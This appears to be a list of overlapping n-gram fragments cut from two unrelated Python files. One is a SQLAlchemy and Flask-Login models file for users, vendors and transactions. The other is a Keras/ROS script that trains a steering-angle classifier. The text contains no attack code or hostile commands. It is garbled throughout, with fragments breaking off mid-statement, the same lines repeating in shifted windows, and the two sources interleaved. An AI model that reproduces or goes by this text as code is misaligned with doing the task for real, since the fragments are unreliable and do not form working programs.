default=datetime.datetime.now()) class Vendor(Base): __tablename__ = 'vendors' id = Column(Integer, primary_key=True) name\",\n \"= Column(String(255)) def get_id(self): \\\"\\\"\\\" Callback for Flask-Login. Represents that unique ID of\",\n \"True \\\"\\\"\\\" return True def is_authenticated(self): \\\"\\\"\\\" Callback for Flask-Login. Should return True\",\n \"= Column(Integer, ForeignKey('users.id')) company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) timestamp = Column(DateTime,\",\n \"Returns: True \\\"\\\"\\\" return True def is_authenticated(self): \\\"\\\"\\\" Callback for Flask-Login. Should return\",\n \"Should return True unless the object represents a user should not be authenticated.\",\n \"should not be authenticated. Returns: True because all objects should be authenticated \\\"\\\"\\\"\",\n \"= Column(Float) class Transaction(Base): __tablename__ = 'transactions' id = Column(Integer, primary_key=True) user_id =\",\n \"def get_id(self): \\\"\\\"\\\" Callback for Flask-Login. Represents that unique ID of a given\",\n \"any anonymous users. Returns: False \\\"\\\"\\\" return False def is_active(self): \\\"\\\"\\\" Callback for\",\n \"= Column(Integer, ForeignKey('users.id')) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) # Status: 0 - default,\",\n \"Flask-Login. Represents that unique ID of a given user object. It is unicoded\",\n \"Integer, ForeignKey, DateTime, Float class User(Base): __tablename__ = 'users' id = Column(Integer, primary_key=True)\",\n \"timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) # Status: 0 - default, 1 - scanned,\",\n \"Column(Integer, primary_key=True) user_id = Column(Integer, ForeignKey('users.id')) company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float)\",\n \"\\\"\\\"\\\" return True def is_authenticated(self): \\\"\\\"\\\" Callback for Flask-Login. Should return True unless\",\n \"return unicode(self.id) def is_anonymous(self): \\\"\\\"\\\" Callback for Flask-Login. Default to False - we\",\n \"Column(Integer, primary_key=True) barcode = Column(String(10)) user_id = Column(Integer, ForeignKey('users.id')) timestamp = Column(DateTime, nullable=False,\",\n \"company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) class Transaction(Base): __tablename__ = 'transactions' id\",\n \"is_active(self): \\\"\\\"\\\" Callback for Flask-Login. Default to True - we don't deal with\",\n \"should be authenticated \\\"\\\"\\\" return True class PendingTransaction(Base): __tablename__ = 'pending_transactions' id =\",\n \"for Flask-Login. Default to True - we don't deal with non-active users. Returns:\",\n \"user should not be authenticated. Returns: True because all objects should be authenticated\",\n \"True class PendingTransaction(Base): __tablename__ = 'pending_transactions' id = Column(Integer, primary_key=True) barcode = Column(String(10))\",\n \"Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) class Transaction(Base): __tablename__ = 'transactions' id = Column(Integer,\",\n \"is_authenticated(self): \\\"\\\"\\\" Callback for Flask-Login. Should return True unless the object represents a\",\n \"unique ID of a given user object. It is unicoded as per specification.\",\n \"True because all objects should be authenticated \\\"\\\"\\\" return True class PendingTransaction(Base): __tablename__\",\n \"- we don't deal with non-active users. Returns: True \\\"\\\"\\\" return True def\",\n \"claimed status = Column(Integer, default=0) company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) class\",\n \"ForeignKey('users.id')) company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now())\",\n \"import datetime from database import Base from sqlalchemy import Column, String, Integer, ForeignKey,\",\n \"we don't deal with non-active users. Returns: True \\\"\\\"\\\" return True def is_authenticated(self):\",\n \"def is_anonymous(self): \\\"\\\"\\\" Callback for Flask-Login. Default to False - we don't deal\",\n \"# Status: 0 - default, 1 - scanned, 2 - claimed status =\",\n \"- default, 1 - scanned, 2 - claimed status = Column(Integer, default=0) company\",\n \"False - we don't deal with any anonymous users. Returns: False \\\"\\\"\\\" return\",\n \"datetime from database import Base from sqlalchemy import Column, String, Integer, ForeignKey, DateTime,\",\n \"import Column, String, Integer, ForeignKey, DateTime, Float class User(Base): __tablename__ = 'users' id\",\n \"not be authenticated. Returns: True because all objects should be authenticated \\\"\\\"\\\" return\",\n \"ForeignKey('users.id')) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) # Status: 0 - default, 1 -\",\n \"= 'transactions' id = Column(Integer, primary_key=True) user_id = Column(Integer, ForeignKey('users.id')) company = Column(Integer,\",\n \"a given user object. It is unicoded as per specification. Returns: the unique\",\n \"ForeignKey, DateTime, Float class User(Base): __tablename__ = 'users' id = Column(Integer, primary_key=True) first_name\",\n \"class User(Base): __tablename__ = 'users' id = Column(Integer, primary_key=True) first_name = Column(String(255)) last_name\",\n \"object \\\"\\\"\\\" return unicode(self.id) def is_anonymous(self): \\\"\\\"\\\" Callback for Flask-Login. Default to False\",\n \"= Column(DateTime, nullable=False, default=datetime.datetime.now()) class Vendor(Base): __tablename__ = 'vendors' id = Column(Integer, primary_key=True)\",\n \"= Column(Integer, default=0) company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) class Transaction(Base): __tablename__\",\n \"True - we don't deal with non-active users. Returns: True \\\"\\\"\\\" return True\",\n \"- we don't deal with any anonymous users. Returns: False \\\"\\\"\\\" return False\",\n \"a user should not be authenticated. Returns: True because all objects should be\",\n \"Returns: True because all objects should be authenticated \\\"\\\"\\\" return True class PendingTransaction(Base):\",\n \"__tablename__ = 'transactions' id = Column(Integer, primary_key=True) user_id = Column(Integer, ForeignKey('users.id')) company =\",\n \"users. Returns: False \\\"\\\"\\\" return False def is_active(self): \\\"\\\"\\\" Callback for Flask-Login. Default\",\n \"unique ID of an object \\\"\\\"\\\" return unicode(self.id) def is_anonymous(self): \\\"\\\"\\\" Callback for\",\n \"don't deal with any anonymous users. Returns: False \\\"\\\"\\\" return False def is_active(self):\",\n \"import Base from sqlalchemy import Column, String, Integer, ForeignKey, DateTime, Float class User(Base):\",\n \"the object represents a user should not be authenticated. Returns: True because all\",\n \"= Column(String(10)) user_id = Column(Integer, ForeignKey('users.id')) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) # Status:\",\n \"is_anonymous(self): \\\"\\\"\\\" Callback for Flask-Login. Default to False - we don't deal with\",\n \"because all objects should be authenticated \\\"\\\"\\\" return True class PendingTransaction(Base): __tablename__ =\",\n \"Column(Integer, default=0) company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) class Transaction(Base): __tablename__ =\",\n \"= Column(Float) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) class Vendor(Base): __tablename__ = 'vendors' id\",\n \"for Flask-Login. Default to False - we don't deal with any anonymous users.\",\n \"Flask-Login. Default to False - we don't deal with any anonymous users. Returns:\",\n \"amount = Column(Float) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) class Vendor(Base): __tablename__ = 'vendors'\",\n \"timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) class Vendor(Base): __tablename__ = 'vendors' id = Column(Integer,\",\n \"all objects should be authenticated \\\"\\\"\\\" return True class PendingTransaction(Base): __tablename__ = 'pending_transactions'\",\n \"company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) class\",\n \"Column(Integer, primary_key=True) first_name = Column(String(255)) last_name = Column(String(255)) email = Column(String(255), index=True, unique=True)\",\n \"User(Base): __tablename__ = 'users' id = Column(Integer, primary_key=True) first_name = Column(String(255)) last_name =\",\n \"an object \\\"\\\"\\\" return unicode(self.id) def is_anonymous(self): \\\"\\\"\\\" Callback for Flask-Login. Default to\",\n \"anonymous users. Returns: False \\\"\\\"\\\" return False def is_active(self): \\\"\\\"\\\" Callback for Flask-Login.\",\n \"with any anonymous users. Returns: False \\\"\\\"\\\" return False def is_active(self): \\\"\\\"\\\" Callback\",\n \"DateTime, Float class User(Base): __tablename__ = 'users' id = Column(Integer, primary_key=True) first_name =\",\n \"authenticated \\\"\\\"\\\" return True class PendingTransaction(Base): __tablename__ = 'pending_transactions' id = Column(Integer, primary_key=True)\",\n \"get_id(self): \\\"\\\"\\\" Callback for Flask-Login. Represents that unique ID of a given user\",\n \"id = Column(Integer, primary_key=True) first_name = Column(String(255)) last_name = Column(String(255)) email = Column(String(255),\",\n \"database import Base from sqlalchemy import Column, String, Integer, ForeignKey, DateTime, Float class\",\n \"id = Column(Integer, primary_key=True) name = Column(String(255)) agent_url = Column(String(255)) secret = Column(String(255))\",\n \"Callback for Flask-Login. Default to True - we don't deal with non-active users.\",\n \"2 - claimed status = Column(Integer, default=0) company = Column(Integer, ForeignKey('vendors.id')) amount =\",\n \"object. It is unicoded as per specification. Returns: the unique ID of an\",\n \"= Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) class Vendor(Base):\",\n \"don't deal with non-active users. Returns: True \\\"\\\"\\\" return True def is_authenticated(self): \\\"\\\"\\\"\",\n \"1 - scanned, 2 - claimed status = Column(Integer, default=0) company = Column(Integer,\",\n \"\\\"\\\"\\\" return unicode(self.id) def is_anonymous(self): \\\"\\\"\\\" Callback for Flask-Login. Default to False -\",\n \"class Vendor(Base): __tablename__ = 'vendors' id = Column(Integer, primary_key=True) name = Column(String(255)) agent_url\",\n \"= Column(Integer, primary_key=True) barcode = Column(String(10)) user_id = Column(Integer, ForeignKey('users.id')) timestamp = Column(DateTime,\",\n \"amount = Column(Float) class Transaction(Base): __tablename__ = 'transactions' id = Column(Integer, primary_key=True) user_id\",\n \"= 'vendors' id = Column(Integer, primary_key=True) name = Column(String(255)) agent_url = Column(String(255)) secret\",\n \"return False def is_active(self): \\\"\\\"\\\" Callback for Flask-Login. Default to True - we\",\n \"primary_key=True) user_id = Column(Integer, ForeignKey('users.id')) company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) timestamp\",\n \"Column(Float) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) class Vendor(Base): __tablename__ = 'vendors' id =\",\n \"- claimed status = Column(Integer, default=0) company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float)\",\n \"0 - default, 1 - scanned, 2 - claimed status = Column(Integer, default=0)\",\n \"Default to True - we don't deal with non-active users. Returns: True \\\"\\\"\\\"\",\n \"nullable=False, default=datetime.datetime.now()) class Vendor(Base): __tablename__ = 'vendors' id = Column(Integer, primary_key=True) name =\",\n \"password = Column(String(255)) def get_id(self): \\\"\\\"\\\" Callback for Flask-Login. Represents that unique ID\",\n \"nullable=False, default=datetime.datetime.now()) # Status: 0 - default, 1 - scanned, 2 - claimed\",\n \"Column(String(255)) email = Column(String(255), index=True, unique=True) password = Column(String(255)) def get_id(self): \\\"\\\"\\\" Callback\",\n \"default=datetime.datetime.now()) class Vendor(Base): __tablename__ = 'vendors' id = Column(Integer, primary_key=True) name = Column(String(255))\",\n \"primary_key=True) barcode = Column(String(10)) user_id = Column(Integer, ForeignKey('users.id')) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now())\",\n \"be authenticated \\\"\\\"\\\" return True class PendingTransaction(Base): __tablename__ = 'pending_transactions' id = Column(Integer,\",\n \"ForeignKey('vendors.id')) amount = Column(Float) class Transaction(Base): __tablename__ = 'transactions' id = Column(Integer, primary_key=True)\",\n \"users. Returns: True \\\"\\\"\\\" return True def is_authenticated(self): \\\"\\\"\\\" Callback for Flask-Login. Should\",\n \"deal with non-active users. Returns: True \\\"\\\"\\\" return True def is_authenticated(self): \\\"\\\"\\\" Callback\",\n \"PendingTransaction(Base): __tablename__ = 'pending_transactions' id = Column(Integer, primary_key=True) barcode = Column(String(10)) user_id =\",\n \"Column(String(10)) user_id = Column(Integer, ForeignKey('users.id')) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) # Status: 0\",\n \"Returns: the unique ID of an object \\\"\\\"\\\" return unicode(self.id) def is_anonymous(self): \\\"\\\"\\\"\",\n \"unique=True) password = Column(String(255)) def get_id(self): \\\"\\\"\\\" Callback for Flask-Login. Represents that unique\",\n \"unicode(self.id) def is_anonymous(self): \\\"\\\"\\\" Callback for Flask-Login. Default to False - we don't\",\n \"\\\"\\\"\\\" return True class PendingTransaction(Base): __tablename__ = 'pending_transactions' id = Column(Integer, primary_key=True) barcode\",\n \"Column(DateTime, nullable=False, default=datetime.datetime.now()) # Status: 0 - default, 1 - scanned, 2 -\",\n \"Column(Integer, ForeignKey('users.id')) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) # Status: 0 - default, 1\",\n \"= Column(Integer, primary_key=True) first_name = Column(String(255)) last_name = Column(String(255)) email = Column(String(255), index=True,\",\n \"Column(Float) class Transaction(Base): __tablename__ = 'transactions' id = Column(Integer, primary_key=True) user_id = Column(Integer,\",\n \"= Column(String(255), index=True, unique=True) password = Column(String(255)) def get_id(self): \\\"\\\"\\\" Callback for Flask-Login.\",\n \"unless the object represents a user should not be authenticated. Returns: True because\",\n \"return True def is_authenticated(self): \\\"\\\"\\\" Callback for Flask-Login. Should return True unless the\",\n \"return True unless the object represents a user should not be authenticated. Returns:\",\n \"objects should be authenticated \\\"\\\"\\\" return True class PendingTransaction(Base): __tablename__ = 'pending_transactions' id\",\n \"id = Column(Integer, primary_key=True) user_id = Column(Integer, ForeignKey('users.id')) company = Column(Integer, ForeignKey('vendors.id')) amount\",\n \"Column(String(255)) def get_id(self): \\\"\\\"\\\" Callback for Flask-Login. Represents that unique ID of a\",\n \"__tablename__ = 'pending_transactions' id = Column(Integer, primary_key=True) barcode = Column(String(10)) user_id = Column(Integer,\",\n \"index=True, unique=True) password = Column(String(255)) def get_id(self): \\\"\\\"\\\" Callback for Flask-Login. Represents that\",\n \"Flask-Login. Default to True - we don't deal with non-active users. Returns: True\",\n \"for Flask-Login. Represents that unique ID of a given user object. It is\",\n \"def is_active(self): \\\"\\\"\\\" Callback for Flask-Login. Default to True - we don't deal\",\n \"True def is_authenticated(self): \\\"\\\"\\\" Callback for Flask-Login. Should return True unless the object\",\n \"default=datetime.datetime.now()) # Status: 0 - default, 1 - scanned, 2 - claimed status\",\n \"non-active users. Returns: True \\\"\\\"\\\" return True def is_authenticated(self): \\\"\\\"\\\" Callback for Flask-Login.\",\n \"= Column(String(255)) last_name = Column(String(255)) email = Column(String(255), index=True, unique=True) password = Column(String(255))\",\n \"represents a user should not be authenticated. Returns: True because all objects should\",\n \"from database import Base from sqlalchemy import Column, String, Integer, ForeignKey, DateTime, Float\",\n \"from sqlalchemy import Column, String, Integer, ForeignKey, DateTime, Float class User(Base): __tablename__ =\",\n \"primary_key=True) first_name = Column(String(255)) last_name = Column(String(255)) email = Column(String(255), index=True, unique=True) password\",\n \"object represents a user should not be authenticated. Returns: True because all objects\",\n \"be authenticated. Returns: True because all objects should be authenticated \\\"\\\"\\\" return True\",\n \"ForeignKey('vendors.id')) amount = Column(Float) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) class Vendor(Base): __tablename__ =\",\n \"that unique ID of a given user object. It is unicoded as per\",\n \"Column(String(255)) last_name = Column(String(255)) email = Column(String(255), index=True, unique=True) password = Column(String(255)) def\",\n \"\\\"\\\"\\\" Callback for Flask-Login. Default to True - we don't deal with non-active\",\n \"Vendor(Base): __tablename__ = 'vendors' id = Column(Integer, primary_key=True) name = Column(String(255)) agent_url =\",\n \"Transaction(Base): __tablename__ = 'transactions' id = Column(Integer, primary_key=True) user_id = Column(Integer, ForeignKey('users.id')) company\",\n \"authenticated. Returns: True because all objects should be authenticated \\\"\\\"\\\" return True class\",\n \"per specification. Returns: the unique ID of an object \\\"\\\"\\\" return unicode(self.id) def\",\n \"is unicoded as per specification. Returns: the unique ID of an object \\\"\\\"\\\"\",\n \"default, 1 - scanned, 2 - claimed status = Column(Integer, default=0) company =\",\n \"def is_authenticated(self): \\\"\\\"\\\" Callback for Flask-Login. Should return True unless the object represents\",\n \"- scanned, 2 - claimed status = Column(Integer, default=0) company = Column(Integer, ForeignKey('vendors.id'))\",\n \"Column(String(255), index=True, unique=True) password = Column(String(255)) def get_id(self): \\\"\\\"\\\" Callback for Flask-Login. Represents\",\n \"of a given user object. It is unicoded as per specification. Returns: the\",\n \"String, Integer, ForeignKey, DateTime, Float class User(Base): __tablename__ = 'users' id = Column(Integer,\",\n \"= 'users' id = Column(Integer, primary_key=True) first_name = Column(String(255)) last_name = Column(String(255)) email\",\n \"user object. It is unicoded as per specification. Returns: the unique ID of\",\n \"scanned, 2 - claimed status = Column(Integer, default=0) company = Column(Integer, ForeignKey('vendors.id')) amount\",\n \"email = Column(String(255), index=True, unique=True) password = Column(String(255)) def get_id(self): \\\"\\\"\\\" Callback for\",\n \"class PendingTransaction(Base): __tablename__ = 'pending_transactions' id = Column(Integer, primary_key=True) barcode = Column(String(10)) user_id\",\n \"False def is_active(self): \\\"\\\"\\\" Callback for Flask-Login. Default to True - we don't\",\n \"with non-active users. Returns: True \\\"\\\"\\\" return True def is_authenticated(self): \\\"\\\"\\\" Callback for\",\n \"return True class PendingTransaction(Base): __tablename__ = 'pending_transactions' id = Column(Integer, primary_key=True) barcode =\",\n \"we don't deal with any anonymous users. Returns: False \\\"\\\"\\\" return False def\",\n \"Status: 0 - default, 1 - scanned, 2 - claimed status = Column(Integer,\",\n \"Returns: False \\\"\\\"\\\" return False def is_active(self): \\\"\\\"\\\" Callback for Flask-Login. Default to\",\n \"given user object. It is unicoded as per specification. Returns: the unique ID\",\n \"class Transaction(Base): __tablename__ = 'transactions' id = Column(Integer, primary_key=True) user_id = Column(Integer, ForeignKey('users.id'))\",\n \"False \\\"\\\"\\\" return False def is_active(self): \\\"\\\"\\\" Callback for Flask-Login. Default to True\",\n \"'users' id = Column(Integer, primary_key=True) first_name = Column(String(255)) last_name = Column(String(255)) email =\",\n \"specification. Returns: the unique ID of an object \\\"\\\"\\\" return unicode(self.id) def is_anonymous(self):\",\n \"__tablename__ = 'users' id = Column(Integer, primary_key=True) first_name = Column(String(255)) last_name = Column(String(255))\",\n \"of an object \\\"\\\"\\\" return unicode(self.id) def is_anonymous(self): \\\"\\\"\\\" Callback for Flask-Login. Default\",\n \"Callback for Flask-Login. Should return True unless the object represents a user should\",\n \"= Column(String(255)) email = Column(String(255), index=True, unique=True) password = Column(String(255)) def get_id(self): \\\"\\\"\\\"\",\n \"to True - we don't deal with non-active users. Returns: True \\\"\\\"\\\" return\",\n \"Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) class Vendor(Base): __tablename__\",\n \"to False - we don't deal with any anonymous users. Returns: False \\\"\\\"\\\"\",\n \"Flask-Login. Should return True unless the object represents a user should not be\",\n \"deal with any anonymous users. Returns: False \\\"\\\"\\\" return False def is_active(self): \\\"\\\"\\\"\",\n \"'vendors' id = Column(Integer, primary_key=True) name = Column(String(255)) agent_url = Column(String(255)) secret =\",\n \"It is unicoded as per specification. Returns: the unique ID of an object\",\n \"ID of an object \\\"\\\"\\\" return unicode(self.id) def is_anonymous(self): \\\"\\\"\\\" Callback for Flask-Login.\",\n \"id = Column(Integer, primary_key=True) barcode = Column(String(10)) user_id = Column(Integer, ForeignKey('users.id')) timestamp =\",\n \"Column(Integer, ForeignKey('users.id')) company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) timestamp = Column(DateTime, nullable=False,\",\n \"barcode = Column(String(10)) user_id = Column(Integer, ForeignKey('users.id')) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) #\",\n \"\\\"\\\"\\\" Callback for Flask-Login. Represents that unique ID of a given user object.\",\n \"= 'pending_transactions' id = Column(Integer, primary_key=True) barcode = Column(String(10)) user_id = Column(Integer, ForeignKey('users.id'))\",\n \"unicoded as per specification. Returns: the unique ID of an object \\\"\\\"\\\" return\",\n \"\\\"\\\"\\\" Callback for Flask-Login. Default to False - we don't deal with any\",\n \"__tablename__ = 'vendors' id = Column(Integer, primary_key=True) name = Column(String(255)) agent_url = Column(String(255))\",\n \"'pending_transactions' id = Column(Integer, primary_key=True) barcode = Column(String(10)) user_id = Column(Integer, ForeignKey('users.id')) timestamp\",\n \"user_id = Column(Integer, ForeignKey('users.id')) company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) timestamp =\",\n \"Callback for Flask-Login. Default to False - we don't deal with any anonymous\",\n \"sqlalchemy import Column, String, Integer, ForeignKey, DateTime, Float class User(Base): __tablename__ = 'users'\",\n \"user_id = Column(Integer, ForeignKey('users.id')) timestamp = Column(DateTime, nullable=False, default=datetime.datetime.now()) # Status: 0 -\",\n \"for Flask-Login. Should return True unless the object represents a user should not\",\n \"Callback for Flask-Login. Represents that unique ID of a given user object. It\",\n \"the unique ID of an object \\\"\\\"\\\" return unicode(self.id) def is_anonymous(self): \\\"\\\"\\\" Callback\",\n \"Base from sqlalchemy import Column, String, Integer, ForeignKey, DateTime, Float class User(Base): __tablename__\",\n \"'transactions' id = Column(Integer, primary_key=True) user_id = Column(Integer, ForeignKey('users.id')) company = Column(Integer, ForeignKey('vendors.id'))\",\n \"default=0) company = Column(Integer, ForeignKey('vendors.id')) amount = Column(Float) class Transaction(Base): __tablename__ = 'transactions'\",\n \"Default to False - we don't deal with any anonymous users. Returns: False\",\n \"\\\"\\\"\\\" Callback for Flask-Login. Should return True unless the object represents a user\",\n \"= Column(DateTime, nullable=False, default=datetime.datetime.now()) # Status: 0 - default, 1 - scanned, 2\",\n \"Float class User(Base): __tablename__ = 'users' id = Column(Integer, primary_key=True) first_name = Column(String(255))\"\n]","isConversational":false}}},{"rowIdx":1890,"cells":{"ngram":{"kind":"list like","value":["model = Sequential() # 128 x 48 model.add(GaussianNoise(0.05, input_shape=input_shape)) model.add(Conv2D(32, (3, 3), activation='relu',","training examples is below this, load more data batch_size = 16 categories =","128 x 48 model.add(GaussianNoise(0.05, input_shape=input_shape)) model.add(Conv2D(32, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((4, 4))) #","6 model.add(Flatten()) model.add(Dropout(0.25)) model.add(Dense(128, activation='relu')) model.add(Dense(32, activation='relu')) model.add(Dropout(0.35)) model.add(Dense(len(categories), activation='softmax')) model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(), metrics=['accuracy'])","# 128 x 48 model.add(GaussianNoise(0.05, input_shape=input_shape)) model.add(Conv2D(32, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((4, 4)))","keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D, \\ GaussianNoise, BatchNormalization import cv2 import","ys = labels[i: i + batch_size] yield (xs, ys) try: n_minibatches = int(math.ceil(float(n_training_examples)","model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(), metrics=['accuracy']) return model def main(): global categories, n_examples_to_load, batch_size rospy.init_node(\"nn_training\") startTime","= 0 n_test_examples = 0 cnt = collections.Counter() for f in exampleSetFiles_const: data","import keras from keras.models import Sequential from keras.layers import Dense, Dropout, Flatten, Conv2D,","i + batch_size] ys = labels[i: i + batch_size] yield (xs, ys) try:","f in exampleSetFiles_const: data = ExampleSet.load(os.path.join(exampleSetDir, f)) n_training_examples += len(data.train) n_test_examples += len(data.test)","= expand_categories(categories) model = make_model() model.summary() exampleSetFiles_const = tuple(f for f in os.listdir(exampleSetDir)","Sequential from keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D, \\ GaussianNoise, BatchNormalization import","rospy.get_param(\"~model_output_path\") exampleSetDir = rospy.get_param(\"~example_set_dir\") epochs = int(rospy.get_param(\"~epochs\")) categories = rospy.get_param(\"~positive_nonzero_categories\") categories = string.strip(categories).split(\"","+ batch_size] yield (xs, ys) try: n_minibatches = int(math.ceil(float(n_training_examples) / batch_size)) model.fit_generator(batch_generator(), steps_per_epoch=n_minibatches,","if not isValidation: for i in range(len(X)): if random.random() < 0.4: # 40%","epochs=epochs, verbose=1) print \"elapsed time:\", time.time() - startTime n_minibatches = int(math.ceil(float(n_test_examples) / batch_size))","examples is below this, load more data batch_size = 16 categories = [None]","batch_size): xs = X[i: i + batch_size] ys = labels[i: i + batch_size]","in range(0, len(X), batch_size): xs = X[i: i + batch_size] ys = labels[i:","\"validation loss:\", loss, \"| validation accuracy:\", acc finally: model.save(model_path) print \"\\nsaved model to\",","n_test_examples = 0 cnt = collections.Counter() for f in exampleSetFiles_const: data = ExampleSet.load(os.path.join(exampleSetDir,","categories = string.strip(categories).split(\" \") categories = [float(x) for x in categories] categories =","random.shuffle(D) X = format_inputs(D) # create output bins labels = np.array([defineCategory(ex.angle) for ex","= [None] def defineCategory(steering): differences = [abs(steering - category) for category in categories]","print \"elapsed time:\", time.time() - startTime n_minibatches = int(math.ceil(float(n_test_examples) / batch_size)) loss, acc","n_examples_to_load = 8000 # if the number of training examples is below this,","= int(rospy.get_param(\"~epochs\")) categories = rospy.get_param(\"~positive_nonzero_categories\") categories = string.strip(categories).split(\" \") categories = [float(x) for","data = ExampleSet.load(os.path.join(exampleSetDir, f)) n_training_examples += len(data.train) n_test_examples += len(data.test) for ex in","model.add(Dense(len(categories), activation='softmax')) model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(), metrics=['accuracy']) return model def main(): global categories, n_examples_to_load, batch_size","< 0.4: # 40% of images are flipped X[i] = cv2.flip(X[i], 1) labels[i]","= ExampleSet.load(os.path.join(exampleSetDir, f)) n_training_examples += len(data.train) n_test_examples += len(data.test) for ex in data.train:","32 x 12 model.add(Conv2D(64, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((2, 2))) # 16 x","range(0, len(X), batch_size): xs = X[i: i + batch_size] ys = labels[i: i","int(math.ceil(float(n_training_examples) / batch_size)) model.fit_generator(batch_generator(), steps_per_epoch=n_minibatches, epochs=epochs, verbose=1) print \"elapsed time:\", time.time() - startTime","\"elapsed time:\", time.time() - startTime n_minibatches = int(math.ceil(float(n_test_examples) / batch_size)) loss, acc =","= list(exampleSetFiles_const) random.shuffle(exampleSetFiles) while len(exampleSetFiles) > 0: D = [] while len(exampleSetFiles) >","model.fit_generator(batch_generator(), steps_per_epoch=n_minibatches, epochs=epochs, verbose=1) print \"elapsed time:\", time.time() - startTime n_minibatches = int(math.ceil(float(n_test_examples)","os import math import string import numpy as np import rospy import keras","padding='same')) model.add(MaxPooling2D((4, 4))) # 32 x 12 model.add(Conv2D(64, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((2,","import string import numpy as np import rospy import keras from keras.models import","else 0 for i in range(len(categories))] return oneHot def format_inputs(examples): data2 = np.zeros((len(examples),)","1 print \"total training examples:\", n_training_examples print \"training label counts:\", cnt def batch_generator(isValidation","0 for i in range(len(categories))] return oneHot def format_inputs(examples): data2 = np.zeros((len(examples),) +","padding='same')) model.add(MaxPooling2D((2, 2))) # 16 x 6 model.add(Flatten()) model.add(Dropout(0.25)) model.add(Dense(128, activation='relu')) model.add(Dense(32, activation='relu'))","x 6 model.add(Flatten()) model.add(Dropout(0.25)) model.add(Dense(128, activation='relu')) model.add(Dense(32, activation='relu')) model.add(Dropout(0.35)) model.add(Dense(len(categories), activation='softmax')) model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(),","ex in data.train: i = np.argmax(defineCategory(ex.angle)) cnt[i] += 1 print \"total training examples:\",","activation='softmax')) model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(), metrics=['accuracy']) return model def main(): global categories, n_examples_to_load, batch_size rospy.init_node(\"nn_training\")","tuple(f for f in os.listdir(exampleSetDir) if '.pkl.lz4' in f) n_training_examples = 0 n_test_examples","startTime n_minibatches = int(math.ceil(float(n_test_examples) / batch_size)) loss, acc = model.evaluate_generator(batch_generator(True), steps=n_minibatches) print \"validation","string.strip(categories).split(\" \") categories = [float(x) for x in categories] categories = expand_categories(categories) model","format_inputs(examples): data2 = np.zeros((len(examples),) + input_shape, dtype='float32') for i, ex in enumerate(examples): data2[i]","differences = [abs(steering - category) for category in categories] category = np.argmin(differences) oneHot","rospy import keras from keras.models import Sequential from keras.layers import Dense, Dropout, Flatten,","12 model.add(Conv2D(64, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((2, 2))) # 16 x 6 model.add(Flatten())","for epoch in range(gen_epochs): exampleSetFiles = list(exampleSetFiles_const) random.shuffle(exampleSetFiles) while len(exampleSetFiles) > 0: D","exampleSetDir = rospy.get_param(\"~example_set_dir\") epochs = int(rospy.get_param(\"~epochs\")) categories = rospy.get_param(\"~positive_nonzero_categories\") categories = string.strip(categories).split(\" \")","\"training label counts:\", cnt def batch_generator(isValidation = False): gen_epochs = 1 if isValidation","dtype='float32') for i, ex in enumerate(examples): data2[i] = ex.get_image() data2 /= 255.0 return","batch_size)) model.fit_generator(batch_generator(), steps_per_epoch=n_minibatches, epochs=epochs, verbose=1) print \"elapsed time:\", time.time() - startTime n_minibatches =","in enumerate(examples): data2[i] = ex.get_image() data2 /= 255.0 return data2 def make_model(): model","category in categories] category = np.argmin(differences) oneHot = [1 if i == category","xs = X[i: i + batch_size] ys = labels[i: i + batch_size] yield","make_model() model.summary() exampleSetFiles_const = tuple(f for f in os.listdir(exampleSetDir) if '.pkl.lz4' in f)","40% of images are flipped X[i] = cv2.flip(X[i], 1) labels[i] = labels[i][::-1] for","input_shape, dtype='float32') for i, ex in enumerate(examples): data2[i] = ex.get_image() data2 /= 255.0","D = [] while len(exampleSetFiles) > 0 and len(D) < n_examples_to_load: data =","D += data.test if isValidation else data.train if not isValidation: random.shuffle(D) X =","np.zeros((len(examples),) + input_shape, dtype='float32') for i, ex in enumerate(examples): data2[i] = ex.get_image() data2","len(X), batch_size): xs = X[i: i + batch_size] ys = labels[i: i +","if isValidation else data.train if not isValidation: random.shuffle(D) X = format_inputs(D) # create","= ExampleSet.load(os.path.join(exampleSetDir, exampleSetFiles.pop())) D += data.test if isValidation else 